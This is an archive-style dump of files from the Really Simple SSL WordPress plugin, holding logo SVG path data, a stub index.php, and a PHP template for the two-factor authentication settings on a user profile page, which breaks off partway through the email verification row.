0 -267z"/> <path d="M3030 988 c0 -145 5 -281 10 -303 14 -63 48 -85 131 -85 l69 0 0 35 c0 35 0 35 -44 35 -77 0 -76 -5 -76 306 l0 274 -45 0 -45 0 0 -262z"/> <path d="M5830 981 c0 -148 3 -282 6 -300 4 -17 18 -42 32 -56 22 -22 33 -25 98 -25 l74 0 0 35 0 35 -48 0 c-26 0 -53 5 -60 12 -9 9 -12 87 -12 290 l0 278 -45 0 -45 0 0 -269z"/> <path d="M7300 983 c0 -153 5 -284 10 -305 17 -58 50 -78 131 -78 l69 0 0 35 0 35 -50 0 c-38 0 -52 4 -60 19 -6 12 -10 123 -10 290 l0 271 -45 0 -45 0 0 -267z"/> <path d="M4350 1185 l0 -45 40 0 40 0 0 45 0 45 -40 0 -40 0 0 -45z"/> <path d="M8560 1185 l0 -45 40 0 40 0 0 45 0 45 -40 0 -40 0 0 -45z"/> <path d="M1684 1061 c-23 -10 -45 -24 -48 -30 -12 -19 -26 -12 -26 14 0 22 -4 25 -35 25 l-35 0 0 -235 0 -235 40 0 40 0 0 142 c0 123 3 147 21 184 16 34 29 46 62 58 23 9 51 15 62 13 16 -2 21 5 23 32 5 54 -31 65 -104 32z"/> <path d="M1940 1058 c-26 -14 -57 -41 -74 -66 -27 -38 -31 -52 -34 -137 -4 -87 -2 -99 23 -150 39 -80 85 -105 196 -105 111 0 155 20 152 68 0 19 -3 35 -5 37 -2 2 -28 -5 -58 -15 -30 -11 -71 -19 -90 -20 -66 0 -130 61 -130 125 l0 25 150 0 150 0 0 58 c-1 91 -44 165 -113 191 -47 18 -119 13 -167 -11z m163 -88 c15 -17 27 -41 27 -55 l0 -25 -105 0 c-117 0 -121 3 -82 61 45 66 109 74 160 19z"/> <path d="M2375 1064 c-53 -20 -57 -25 -43 -62 9 -23 17 -31 28 -26 44 19 119 34 146 29 40 -7 54 -24 61 -73 l5 -39 -67 -8 c-139 -14 -196 -46 -215 -117 -15 -52 2 -110 41 -142 27 -23 40 -26 102 -26 54 0 80 5 105 20 40 25 38 25 45 -1 4 -16 12 -20 39 -17 l33 3 0 190 c-1 214 -7 239 -69 269 -43 20 -155 20 -211 0z m195 -276 c-1 -18 -6 -43 -14 -56 -32 -58 -126 -82 -166 -42 -57 57 17 127 138 129 41 1 42 0 42 -31z"/> <path d="M3988 1059 c-105 -55 -85 -199 32 -234 63 -18 140 -59 145 -76 22 -68 -70 -100 -177 -62 -26 9 -49 15 -52 12 -2 -2 -7 -18 -11 -36 -6 -30 -4 -33 32 -48 51 -22 180 -22 221 -1 51 27 72 62 72 123 0 49 -4 59 -32 87 -21 20 -58 41 -98 55 -83 27 -110 46 -110 75 0 49 69 68 151 42 28 -10 52 -16 53 -14 12 20 25 61 21 68 -8 14 -92 30 -152 30 -38 -1 -71 -8 -95 -21z"/> <path d="M4686 1060 c-36 -20 -41 -21 -51 -6 -7 9 -26 16 -44 16 l-31 0 0 -235 0 -235 39 0 39 0 4 163 c2 135 6 166 21 188 21 31 57 49 100 49 71 0 81 -28 85 -232 l4 -168 38 0 38 0 4 163 c2 134 6 166 21 188 36 54 111 69 150 30 21 -20 22 -32 25 -202 l4 -180 41 3 42 3 3 155 c4 257 -19 310 -142 318 -63 4 -86 -2 -142 -38 -18 -11 -25 -10 -53 11 -46 34 -142 38 -195 9z"/> <path d="M5450 1060 c-43 -23 -50 -24 -50 -5 0 11 -11 15 -40 15 l-40 0 0 -330 0 -330 40 0 40 0 0 115 c0 63 2 115 5 115 2 0 19 -9 37 -20 24 -14 51 -20 97 -20 79 0 120 23 159 88 25 43 27 56 27 152 0 97 -2 109 -28 153 -21 35 -41 54 -70 68 -54 24 -132 24 -177 -1z m136 -75 c50 -32 72 -163 40 -239 -28 -68 -94 -93 -157 -60 -51 26 -80 128 -59 213 22 94 103 133 176 86z"/> <path d="M6182 1063 c-84 -41 -130 -141 -119 -259 11 -116 69 -188 165 -203 61 -9 147 1 190 23 28 14 31 20 25 49 -3 17 -7 34 -9 36 -2 2 -23 -4 -46 -15 -26 -12 -65 -19 -99 -19 -65 0 -100 23 -125 82 -28 64 -30 63 141 63 l155 0 0 43 c0 135 -73 217 -192 217 -29 0 -68 -8 -86 -17z m122 -63 c28 -10 66 -64 66 -92 0 -16 -12 -18 -105 -18 -88 0 -105 2 -105 15 0 31 32 77 63 90 39 17 48 18 81 5z"/> <path d="M6920 1060 c-43 -23 -50 -24 -50 -5 0 11 -11 15 -40 15 l-40 0 0 -331 0 -330 43 3 42 3 3 108 c1 59 5 107 8 107 3 0 19 -7 36 -16 44 -23 139 -21 180 3 18 10 46 38 63 62 27 38 30 52 34 134 5 138 -23 208 -99 247 -51 26 -133 26 -180 0z m137 -76 c76 -49 81 -208 8 -281 -54 -54 -130 -41 -166 29 -27 53 -27 171 1 216 35 58 101 73 157 36z"/> <path d="M8125 1060 c-131 -65 -151 -324 -31 -415 61 -46 165 -55 213 -20 42 32 53 8 32 -68 -15 -57 -55 -77 -151 -77 l-78 0 0 -40 0 -40 78 0 c94 0 141 12 183 47 59 50 63 71 67 361 l4 262 -45 0 c-26 0 -47 -5 -49 -12 -3 -9 -14 -7 -40 5 -49 23 -133 22 -183 -3z m170 -74 c52 -34 72 -154 39 -235 -30 -76 -131 -93 -186 -32 -94 105 -26 307 96 286 17 -3 40 -12 51 -19z"/> <path d="M8894 1055 c-27 -14 -50 -25 -51 -25 -2 0 -3 9 -3 20 0 17 -7 20 -40 20 l-40 0 2 -232 3 -233 43 -3 42 -3 0 151 c0 170 9 203 62 234 43 26 104 24 131 -3 21 -20 22 -32 25 -202 l3 -180 42 3 42 3 0 185 c0 168 -2 188 -20 220 -42 72 -149 92 -241 45z"/> <path d="M9324 1066 c-49 -22 -74 -61 -74 -118 0 -43 5 -55 33 -82 20 -20 57 -41 97 -55 87 -28 110 -45 110 -81 0 -57 -79 -77 -171 -45 -54 19 -69 14 -69 -25 0 -43 44 -60 153 -60 71 0 89 4 118 23 67 45 77 153 20 206 -16 14 -59 37 -97 50 -119 41 -141 68 -88 110 32 25 63 26 130 6 54 -16 64 -12 67 31 2 24 -3 30 -33 41 -47 16 -158 15 -196 -1z"/> <path d="M3210 1058 c0 -7 38 -108 86 -226 l85 -214 -16 -49 c-21 -63 -54 -89 -112 -89 l-44 0 3 -37 c3 -35 6 -38 37 -41 81 -8 144 26 180 97 17 32 211 555 211 567 0 3 -21 4 -47 2 l-46 -3 -56 -167 c-31 -92 -58 -168 -61 -168 -3 0 -34 77 -69 170 l-64 170 -44 0 c-27 0 -43 -5 -43 -12z"/> <path d="M4350 835 l0 -235 40 0 40 0 0 235 0 235 -40 0 -40 0 0 -235z"/> <path d="M7552 881 c3 -211 7 -224 78 -265 47 -28 173 -28 220 0 71 41 75 54 78 265 l3 189 -45 0 -46 0 0 -179 0 -180 -26 -20 c-36 -29 -112 -29 -148 0 l-26 20 0 180 0 179 -46 0 -45 0 3 -189z"/> <path d="M8560 835 l0 -235 40 0 40 0 0 235 0 235 -40 0 -40 0 0 -235z"/> <path d="M9681 701 c-30 -55 -1 -104 58 -99 28 2 39 9 50 32 12 26 12 33 0 55 -20 35 -92 43 -108 12z"/> </g> </svg>really-simple-ssl/assets/img/index.php000064400000000043147510273070014023 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/assets/img/really-simple-security-logo.svg000064400000026717147510273070020326 0ustar00<?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 2429.81 307"><g id="Laag_1"><g id="In_kleur"><path d="M191.8,153h-38.4v-74c0-22.2-18.1-40.2-40.2-40.2s-40.2,18.1-40.2,40.2v74h-38.4v-74C34.6,35.7,69.9.4,113.2.4s78.6,35.3,78.6,78.6v74Z" style="fill:#bbc7cc; stroke-width:0px;"/><path d="M182.5,63.1c-2.9,1.3-4.2,3.9-5.4,6.5.3-6.8.6-13.7-.1-20.3-.4-3.3-.8-6.8-3.9-8.8-2.3-1.5-6.4.2-7.5-.5-2.2-1.4-1.8-14.9-3.4-18.6-3.1-6.9-13-10.4-19-14.1-1.2-.7-2.5-1.6-3.7-2.5C131.4,2,122.8.4,113.7.4c-2.6,0-5.2.1-7.8.4-.5.4-1,.9-1.6,1.3-.8.5-1.3,1.1-1.9-.2-.1-.2-.3-.4-.5-.6-3.2.5-6.4,1.2-9.5,2.1-5.2,2.8-9.9,6.4-15.2,9.4-6,3.3-10,8.1-14.5,13.6-13.6,16.7-21.3,36.2-27.5,56.7-.1.2-.1.4-.1.6v.7c.4,2.3,3.7,3.3,5.4,1.6,1.5,4.8-.2,11.1-.1,15.9.2,4.3,1,8.4,2,12.5.6,2.6,5.8,3.4,7.1,1.1,3.6-4.2,1-4.9,3.2.2.4,3.1,6.8,3.5,7.3.6,2.3-4,2.5-3.6,4.3.2.8,2.1,5.7,1.7,6.6-.3,1.2-2.7,2-5.3,2.5-8v-29.1c0-18.9,13.2-34.8,30.8-39.1,1.1-6,4-16.7,6.3-18.6,1.8,3.6-1.4,11.1-1.1,17.6,1.4-.1,2.8-.2,4.2-.2,1.6,0,3.1.1,4.6.3,1.3-4.2,1.5-8.9,3.1-9.1,1.8,1.8.3,6.8.4,9.6,11.9,2.4,21.9,10.1,27.4,20.5.1-.2.1-.4.1-.5.4-2.6,1.1-17.5,2.5-18,2.6-.6,1.5,15.2.1,23.1-.1.4-.1.8-.2,1.3,1.4,4.1,2.2,8.5,2.2,13.1v7.1c1.1,1.5,2.5,2.5,4.9,2.8.7.8,2.9-.9,3.6.2,1.7,3.7.9,4.9,1.8,9.5.8,5.8.6,10.1-.1,15.3-.3,1.9.8,4,3,4,5-.2,10.3-8.6,13.3-12.4,0,2-1.9,9.2-1.9,11.1,0,3.6,8.2,3.4,9.5.2,7.2-18.5,1.5-42.5-.8-50.8-.6-2.6-2.5-4-4.6-3Z" style="fill:#bbc7cc; isolation:isolate; opacity:.2; stroke-width:0px;"/><rect x="7.3" y="276.8" width="211.9" height="16.5" style="fill:#bbc7cc; stroke-width:0px;"/><path d="M219.2,269.2H7.3V118.3c0-6.4,5.2-11.7,11.7-11.7h188.6c6.4,0,11.7,5.2,11.7,11.7v150.9h-.1Z" style="fill:#fbc43e; stroke-width:0px;"/><path d="M214.8,158.3c-10.2,11.1-22.8,27-31.2,39.3,8-17.9,16.1-35.7,24.7-53.3,2.9-6.1-5-10.6-8.9-5.2-9.1,12.5-18.1,25.2-26.9,37.9,11.4-21.5,22.7-43.7,38.6-61.9-2.5-2.5-5.5-4.6-8.8-6.1-10.5,10.4-20.4,21.4-29.7,32.8,1.7-8.3,8.6-20.2,10.8-27.7.8-2.7-.2-5.9-2.2-7.5h-5.9c-1.1.7-2.3,1.8-3.6,3.4-7.1,9.3-19.5,24-31.1,38.3,9-17.7,17.2-33.2,22.1-41.7h-15.5c-15.2,15.8-39,40.3-54.6,56.7l-4.9,2.8c11.4-16.4,31.8-45.3,39.3-53,2-2.1,1.8-4.7.5-6.5h-8.5c-9.8,10.3-26.7,32.6-38.9,49.5,7.6-13.6,14.8-27.1,21.6-41.6,2.4-5.1-3.8-10.7-8.1-6.3-13.7,13.8-26.6,28.4-38.7,43.5,5.4-10.4,14.6-26.1,20-36.4,2.6-5-4.1-10.9-8.1-6.3-8.9,10.3-21.3,26.2-29.9,36.7,5.3-9.4,12.4-21.5,17.6-31,2.8-5.1-3.9-10.5-8.1-6.3-6.6,6.6-14.9,16-21.3,22.8,2.4-4.6,6.8-12.1,9.2-16.8,1.6-3.1-.1-6.5-2.9-7.5-2.1.3-4.1.9-6.1,1.7-3.4,2.4-7.7,6.3-10.5,8.2.4-.7.9-1.3,1.3-2,.1-.2.2-.3.3-.5-5.5,5.2-8.9,12.5-8.9,20.6v.2c2.1-1.8,4.3-3.5,6.5-5.2-2.1,4-4.3,8-6.5,12v23.8c5.4-6.1,10.9-12.2,16.5-18.2-5.5,9.7-11,19.4-16.5,29v23.6c10.5-14,21.2-27.8,32.1-41.4-10.7,20.5-21.4,41-32.1,61.5v22.5c18-32.9,43.5-66.1,67-94.4-3.6,11.5-14,25.1-20.7,35.9-10.8,17.5-18.8,34.7-26.9,50.7-4.9,9-13,23.5-17.6,34.1h12.5c5.5-9.7,11-20.6,16.5-28.6,5.8-8.6,11.4-17.5,17-26.3-4.8,11.8-10.4,24.4-19.4,38.1-3.6,5.6,3.5,12.8,7.3,7.3,16.4-23.9,29.9-41.2,43.5-60.2,1.2-2.8,30.2-40.4,39.3-52.9h0c.5.3,1.1.7,1.6,1,.9.6-43.5,81.2-47.4,91.8-4.9,7.8-10.3,15.8-14.9,22.6-1.7,2.4-3.3,4.7-5,7.1h12.6c.4-.6.9-1.3,1.3-1.9,7-9.9,13-20,18.8-28.3,1.6-1.4,2.8-2.2,3-1.7,3-5.7,9.7-19.3,17.9-35.7l-5.2,35.5c-4.7,8-9.4,16-14,24-3.4,5.8,5.3,10.7,8.9,5.2,9.5-14.1,17.9-28.9,25.9-43.8,11.6-19,23.7-37.7,36.9-55.5-1.9,3.6-3.9,7.2-5.9,10.8-15,27.1-30.4,54.1-43.1,82.4-2.7,6,5.3,11,8.9,5.2,15.8-25.1,32.2-49.8,49-74.2-11.5,25.9-22.6,51.9-33.6,78h12.6c11.6-22.7,23.7-45.1,38.1-66-10.1,22-20.1,44-30.2,66h11.8c3.6-6.8,7.5-13.5,11.6-20-2.5,5.9-5.8,13.8-8.4,20h12.1c2.4-3.8,4.9-7.9,7.1-11-.5,2.4-1.6,7.3-2.5,11h12.8c1.3-2.3,2.6-4.5,3.7-5.9.3,1.3.6,2.5,1.1,3.7.4.9.7,1.6.9,2.2h6.7v-20.1c-1.2-3.3-5.8-5.4-8.5-2.2-.5.6-1.1,1.3-1.6,1.9,1.1-4.6,2.3-9.1,4.1-13.2,1.8-4.3-2.5-6.9-6.1-6-.7.1-1.3.3-1.9.7,3.7-8,9.3-18.3,14.1-27.1v-13.1c-2-.5-4.2,0-5.8,2.1-3,4-8.9,11.7-11.9,15.8,4.9-10.6,12-23.9,17.7-35.5v-15.5c-1.4-.3-3,.1-4.4,1.6Z" style="fill:#fbc43e; isolation:isolate; opacity:.2; stroke-width:0px;"/><path d="M167.5,139.4c-6.6-6.6-17.4-6.6-24,0l-46.1,44.8-14.4-14.5c-6.6-6.6-17.4-6.6-24,0l-5.5,5.5c-6.6,6.6-6.6,17.4,0,24l24.8,24.8c.4.6.9,1.1,1.4,1.7l5.5,5.5,12.3,11.7,10.3-10.3c.6-.4,1.1-.9,1.7-1.4l5.5-5.5c.5-.5,1-1.1,1.4-1.7l56.5-55.2c6.6-6.6,6.6-17.4,0-24l-5.4-5.4Z" style="fill:#000; stroke-width:0px;"/></g></g><g id="Laag_2"><path d="M345.99,141.48h-12.87v-21.98h62.96c25.74,0,43.76,15.84,43.76,42.37s-17.42,35.84-23.36,37.03v.4s4.36,1.98,6.93,7.13l13.66,27.13c2.18,4.16,5.54,4.55,9.9,4.55h2.57v21.98h-13.66c-10.49,0-15.05-1.58-19.6-10.49l-18.02-35.44c-2.97-5.54-5.94-6.53-13.27-6.53h-13.07v52.47h-25.94v-118.6ZM392.52,185.43c13.07,0,20.79-8.12,20.79-22.18s-7.72-21.78-20.39-21.78h-20.99v43.96h20.59Z" style="fill:#000; stroke-width:0px;"/><path d="M507.75,156.72c28.91,0,44.75,21.19,44.75,47.92,0,2.97-.59,9.31-.59,9.31h-69.7c1.98,17.82,15.05,27.13,30.29,27.13,16.24,0,28.31-11.29,28.31-11.29l10.49,17.42s-15.44,15.25-40.59,15.25c-33.46,0-54.25-24.16-54.25-52.87,0-31.09,20.99-52.87,51.28-52.87ZM526.76,196.52c-.4-12.08-8.71-20.39-19.01-20.39-12.87,0-21.98,7.72-24.75,20.39h43.76Z" style="fill:#000; stroke-width:0px;"/><path d="M626.95,196.72h3.17v-.79c0-14.45-5.74-19.8-18.61-19.8-4.55,0-13.46,1.19-13.46,6.73v5.35h-23.36v-10.69c0-18.81,26.53-20.79,37.03-20.79,33.66,0,43.56,17.62,43.56,40.19v37.62c0,2.77,1.58,4.36,4.36,4.36h7.92v21.19h-22.57c-9.31,0-12.87-5.15-12.87-11.09,0-2.57.2-4.36.2-4.36h-.4s-7.72,17.82-30.49,17.82c-18.02,0-34.45-11.29-34.45-31.48,0-31.68,43.56-34.25,59.99-34.25ZM607.54,242.85c13.46,0,22.97-14.26,22.97-26.53v-2.38h-4.36c-13.07,0-33.86,1.78-33.86,15.84,0,6.73,4.95,13.07,15.25,13.07Z" style="fill:#000; stroke-width:0px;"/><path d="M687.14,145.24c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.46,4.16,13.46,13.46v101.57c0,2.77,1.58,4.36,4.36,4.36h7.72v21.19h-23.76c-9.5,0-13.46-3.96-13.46-13.46v-101.38Z" style="fill:#000; stroke-width:0px;"/><path d="M744.75,145.24c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.46,4.16,13.46,13.46v101.57c0,2.77,1.58,4.36,4.36,4.36h7.72v21.19h-23.76c-9.5,0-13.46-3.96-13.46-13.46v-101.38Z" style="fill:#000; stroke-width:0px;"/><path d="M810.88,280.47c6.93,0,13.07-4.16,16.63-12.87l3.37-7.72-33.66-75.83c-1.19-2.97-2.57-3.56-5.35-3.56h-2.97v-21.38h16.63c7.13,0,10.69,2.57,13.27,9.5l19.8,50.49c1.98,5.15,3.56,13.46,3.56,13.46h.4s1.58-8.32,3.37-13.46l17.23-50.49c2.38-6.93,6.53-9.5,13.46-9.5h17.03v21.38h-2.97c-2.97,0-4.55.59-5.74,3.56l-36.23,91.28c-7.13,18.22-21.38,26.33-36.43,26.33-15.84,0-25.54-10.3-25.54-10.3l9.7-17.82s6.14,6.93,14.45,6.93Z" style="fill:#000; stroke-width:0px;"/><path d="M969.48,222.46s14.45,16.63,34.06,16.63c10.69,0,20.2-5.74,20.2-16.63,0-23.96-66.13-21.98-66.13-65.74,0-22.77,19.8-39.6,46.93-39.6,16.43,0,41.78,7.72,41.78,27.72v13.07h-23.36v-6.34c0-6.53-9.31-10.89-18.61-10.89-11.88,0-20.59,6.14-20.59,15.05,0,23.96,66.13,19.21,66.13,65.34,0,22.37-17.23,41.38-46.73,41.38-31.09,0-48.31-21.78-48.31-21.78l14.65-18.22Z" style="fill:#000; stroke-width:0px;"/><path d="M1074.42,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.27,4.16,13.27,13.46v61.97c0,2.77,1.58,4.36,4.36,4.36h7.92v21.19h-23.96c-9.31,0-13.27-3.96-13.27-13.46v-61.78ZM1075.61,119.5h21.78v23.17h-21.78v-23.17Z" style="fill:#000; stroke-width:0px;"/><path d="M1132.83,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.17c8.91,0,13.27,4.16,13.27,11.29v2.97c0,2.18-.2,4.36-.2,4.36h.4c4.75-9.9,16.83-20.99,32.67-20.99s25.15,7.13,29.5,20.79h.4c5.35-10.89,18.41-20.79,34.45-20.79,20.99,0,33.07,11.88,33.07,38.41v39.4c0,2.77,1.58,4.36,4.36,4.36h7.72v21.19h-23.76c-9.5,0-13.46-3.96-13.46-13.46v-46.73c0-11.48-2.18-20.2-13.86-20.2-12.47,0-21.38,10.49-24.16,23.17-1.19,3.96-1.58,8.12-1.58,12.87v44.35h-25.15v-60.19c0-10.89-1.58-20.2-13.66-20.2-12.67,0-21.19,10.49-24.35,23.36-.99,3.96-1.58,8.12-1.58,12.67v44.35h-24.95v-75.24Z" style="fill:#000; stroke-width:0px;"/><path d="M1319.54,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h22.37c9.31,0,12.67,4.16,12.67,9.7v3.96h.4s8.51-16.04,32.08-16.04c27.32,0,44.95,21.58,44.95,52.87s-19.8,52.87-46.33,52.87c-20,0-28.91-13.27-28.91-13.27h-.4s.4,3.56.4,8.71v41.78h-24.95v-114.84ZM1368.84,241.27c13.86,0,25.54-11.29,25.54-31.28s-10.3-31.68-25.15-31.68c-13.07,0-25.34,9.5-25.34,31.88,0,15.64,8.32,31.09,24.95,31.09Z" style="fill:#000; stroke-width:0px;"/><path d="M1440.32,145.24c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.46,4.16,13.46,13.46v101.57c0,2.77,1.58,4.36,4.36,4.36h7.72v21.19h-23.76c-9.5,0-13.46-3.96-13.46-13.46v-101.38Z" style="fill:#000; stroke-width:0px;"/><path d="M1539.71,156.72c28.91,0,44.75,21.19,44.75,47.92,0,2.97-.59,9.31-.59,9.31h-69.7c1.98,17.82,15.05,27.13,30.29,27.13,16.24,0,28.31-11.29,28.31-11.29l10.49,17.42s-15.44,15.25-40.59,15.25c-33.46,0-54.25-24.16-54.25-52.87,0-31.09,20.99-52.87,51.28-52.87ZM1558.72,196.52c-.4-12.08-8.71-20.39-19.01-20.39-12.87,0-21.98,7.72-24.75,20.39h43.76Z" style="fill:#000; stroke-width:0px;"/><path d="M1665.84,222.46s14.45,16.63,34.06,16.63c10.69,0,20.2-5.74,20.2-16.63,0-23.96-66.13-21.98-66.13-65.74,0-22.77,19.8-39.6,46.92-39.6,16.43,0,41.78,7.72,41.78,27.72v13.07h-23.36v-6.34c0-6.53-9.31-10.89-18.61-10.89-11.88,0-20.59,6.14-20.59,15.05,0,23.96,66.13,19.21,66.13,65.34,0,22.37-17.23,41.38-46.73,41.38-31.09,0-48.31-21.78-48.31-21.78l14.65-18.22Z" style="fill:#000; stroke-width:0px;"/><path d="M1812.16,156.72c28.91,0,44.75,21.19,44.75,47.92,0,2.97-.59,9.31-.59,9.31h-69.7c1.98,17.82,15.05,27.13,30.29,27.13,16.24,0,28.31-11.29,28.31-11.29l10.49,17.42s-15.44,15.25-40.59,15.25c-33.46,0-54.25-24.16-54.25-52.87,0-31.09,20.99-52.87,51.28-52.87ZM1831.16,196.52c-.4-12.08-8.71-20.39-19.01-20.39-12.87,0-21.98,7.72-24.75,20.39h43.76Z" style="fill:#000; stroke-width:0px;"/><path d="M1926.4,156.72c13.07,0,36.63,5.35,36.63,22.77v11.88h-22.18v-5.54c0-5.54-8.32-7.92-14.45-7.92-17.42,0-29.9,13.27-29.9,31.48,0,20.59,15.25,31.09,31.48,31.09,17.23,0,29.9-13.66,29.9-13.66l10.49,17.42s-15.05,18.22-42.57,18.22c-33.26,0-54.65-23.56-54.65-52.87s20.59-52.87,55.24-52.87Z" style="fill:#000; stroke-width:0px;"/><path d="M1987.38,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.27,4.16,13.27,13.27v46.53c0,12.28,3.17,20.59,15.64,20.59,18.21,0,28.31-16.04,28.31-34.06v-46.33h25.15v75.44c0,2.77,1.58,4.36,4.36,4.36h7.92v21.19h-23.17c-8.71,0-13.27-4.16-13.27-11.29v-2.77c0-2.38.2-4.55.2-4.55h-.4c-4.75,10.49-17.42,20.99-34.85,20.99-21.58,0-34.85-10.89-34.85-38.41v-39.2Z" style="fill:#000; stroke-width:0px;"/><path d="M2114.1,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h22.97c8.91,0,13.46,3.76,13.46,12.28v5.94c0,3.76-.4,6.34-.4,6.34h.4c4.55-14.45,16.63-25.94,32.08-25.94,2.18,0,4.55.4,4.55.4v24.75s-2.57-.4-6.14-.4c-10.69,0-22.97,6.14-27.52,21.19-1.39,4.95-2.18,10.49-2.18,16.43v40h-24.95v-75.24Z" style="fill:#000; stroke-width:0px;"/><path d="M2196.47,184.84c0-2.97-1.58-4.36-4.36-4.36h-7.92v-21.38h23.96c9.31,0,13.27,4.16,13.27,13.46v61.97c0,2.77,1.58,4.36,4.36,4.36h7.92v21.19h-23.96c-9.31,0-13.27-3.96-13.27-13.46v-61.78ZM2197.65,119.5h21.78v23.17h-21.78v-23.17Z" style="fill:#000; stroke-width:0px;"/><path d="M2255.27,179.1h-13.07v-20h13.66v-27.52h24.55v27.52h22.97v20h-22.97v40.79c0,16.63,13.07,19.01,20,19.01,2.77,0,4.55-.4,4.55-.4v21.98s-3.17.59-7.72.59c-14.06,0-41.98-4.16-41.98-38.02v-43.96Z" style="fill:#000; stroke-width:0px;"/><path d="M2334.07,280.47c6.93,0,13.07-4.16,16.63-12.87l3.37-7.72-33.66-75.83c-1.19-2.97-2.57-3.56-5.35-3.56h-2.97v-21.38h16.63c7.13,0,10.69,2.57,13.27,9.5l19.8,50.49c1.98,5.15,3.56,13.46,3.56,13.46h.4s1.58-8.32,3.37-13.46l17.23-50.49c2.38-6.93,6.53-9.5,13.46-9.5h17.03v21.38h-2.97c-2.97,0-4.55.59-5.74,3.56l-36.23,91.28c-7.13,18.22-21.38,26.33-36.43,26.33-15.84,0-25.54-10.3-25.54-10.3l9.7-17.82s6.14,6.93,14.45,6.93Z" style="fill:#000; stroke-width:0px;"/></g></svg>really-simple-ssl/assets/templates/two_fa/profile-settings.php000064400000015253147510273070020724 0ustar00<?php
/**
 * This file contains the profile settings for the Two-Factor Authentication.
 * It is used to display the Two-Factor Authentication settings on the user profile page.
 * It also contains the logic to save the Two-Factor Authentication settings.
 *
 * @package really-simple-ssl-pro
 * @since 4.0.0
 *
 */

require_once rsssl_path . 'security/wordpress/two-fa/class-rsssl-two-factor-settings.php';
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Email;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Settings;

?>
<br>
<p>
<h2><?php esc_html__('Two-Factor Authentication', 'really-simple-ssl'); ?></h2>
<p><?php esc_html__('Two-Factor Authentication adds an extra layer of security to your account. You can enable it here.', 'really-simple-ssl'); ?></p>
<?php if ($forced && !$one_enabled) : ?>
    <p class="notice notice-warning">
        <?php esc_html_e('Two-Factor Authentication is mandatory for your account, so you need to make a selection.', 'really-simple-ssl'); ?>
    </p>
<?php endif; ?>
<table class="form-table rsssl-table-two-fa">
    <!-- Two-Factor Authentication Selection -->
    <tr>
        <th scope="row">
            <label for="two-factor-authentication"><?php esc_html_e('Two-Factor Authentication', 'really-simple-ssl'); ?></label>
        </th>
        <td>
            <fieldset>
                <legend class="screen-reader-text">
                    <span><?php esc_html_e('Two-Factor Authentication', 'really-simple-ssl'); ?></span>
                </legend>
                <label for="two-factor-authentication">
                    <input type="hidden" name="two-factor-authentication" value="<?php echo $forced ?>" />
                    <input type="checkbox" name="two-factor-authentication" id="two-factor-authentication"
                           value="1" <?php checked($one_enabled || $forced);
                    disabled($forced) ?> />
                    <?php esc_html_e('Enable Two-Factor Authentication', 'really-simple-ssl'); ?>
                </label>
            </fieldset>
        </td>
    </tr>
    <!-- Two-Factor Authentication Selection -->
    <?php if (!empty($backup_codes) && $one_enabled) : ?>
        <tr>
            <th scope="row">
                <label for="two-factor-backup-codes"><?php esc_html_e('Backup Codes', 'really-simple-ssl'); ?></label>
            </th>

            <td>
                <fieldset>
                    <legend class="screen-reader-text">
                        <span><?php esc_html_e('Backup Codes', 'really-simple-ssl'); ?></span>
                    </legend>
                    <!-- Displaying the download for the backup codes if Two-Factor Authentication is enabled -->
                    <a href="#"
                       id="download_codes"><?php esc_html_e('Download Backup Codes', 'really-simple-ssl'); ?></a>
                    <span class="rsssl-backup-codes warning"><?php esc_html_e('Codes only available for 5 minutes') ?></span>
                </fieldset>
            </td>
        </tr>
    <?php endif; ?>
    <!-- Two-Factor Authentication Method Selection -->
    <tr id="selection_two_fa">
        <th scope="row">
            <label for="two-factor-method"><?php echo esc_html__('Selected provider', 'really-simple-ssl'); ?></label>
        </th>
        <td>
            <fieldset>
                <legend class="screen-reader-text">
                    <span><?php esc_html_e('Preferred Method', 'really-simple-ssl'); ?></span>
                </legend>
                    <?php foreach (!$one_enabled? $available_providers:$providers as $provider) : ?>
                        <label for="two-factor-method-<?php echo esc_attr($provider); ?>">
                            <input type="radio" name="preferred_method" class="preferred_method_selection" id="preferred_method_<?= $provider::METHOD ?>"
                                   value="<?= esc_attr($provider::METHOD) ?>" <?php checked(strtolower($provider::METHOD) === strtolower(Rsssl_Two_Factor_Settings::get_login_action(  $user->ID ))); ?> />
                            <?= esc_html($provider::NAME) ?>
                        <br/>
                    <?php endforeach; ?>
            </fieldset>
        </td>

    </tr>
        <tr class="totp-config">
            <td>
                <div id="qr-code-container">
                    <p id="two-factor-qr-code">
                        <a href="<?= esc_url($totp_url) ?>">
                            Loading...
                            <img src="<?= esc_url(admin_url('images/spinner.gif')) ?>" alt=""/>
                        </a>
                    </p>
                    <p style="margin-bottom: 10px;">
                        <i id="totp-key">
                            <?php
                            echo esc_html(__('Copy setup key', 'really-simple-ssl'));
                            ?>
                        </i>
                    </p>
                    <label for="two-factor-totp-authcode">
                        <strong><?php esc_html_e('Authentication Code:', 'really-simple-ssl'); ?></strong>
                        <?php
                        /* translators: Example auth code. */
                        $placeholder = sprintf(__('eg. %s', 'really-simple-ssl'), '123 456');
                        ?>
                        <input type="tel" name="two-factor-totp-authcode" id="two-factor-totp-authcode" class="input"
                               value=""
                               size="20" pattern="[0-9 ]*" placeholder="<?= esc_attr($placeholder) ?>"/>
                    </label>
                    <!-- TOTP hidden fields -->
                    <input type="hidden" name="two-factor-totp-key" id="two-factor-totp-key"
                           value="<?= esc_attr($key) ?>"/>
                    <input type="hidden" name="two-factor-totp-url" id="two-factor-totp-url"
                           value="<?= esc_attr($totp_url) ?>"/>
                </div>

            </td>
        </tr>
    <tr id="rsssl_verify_email" class="rsssl_verify_email">
        <td colspan="2">
            <label for="rsssl-two-factor-email-code"><?php esc_html_e('Verification Code:', 'really-simple-ssl'); ?></label>
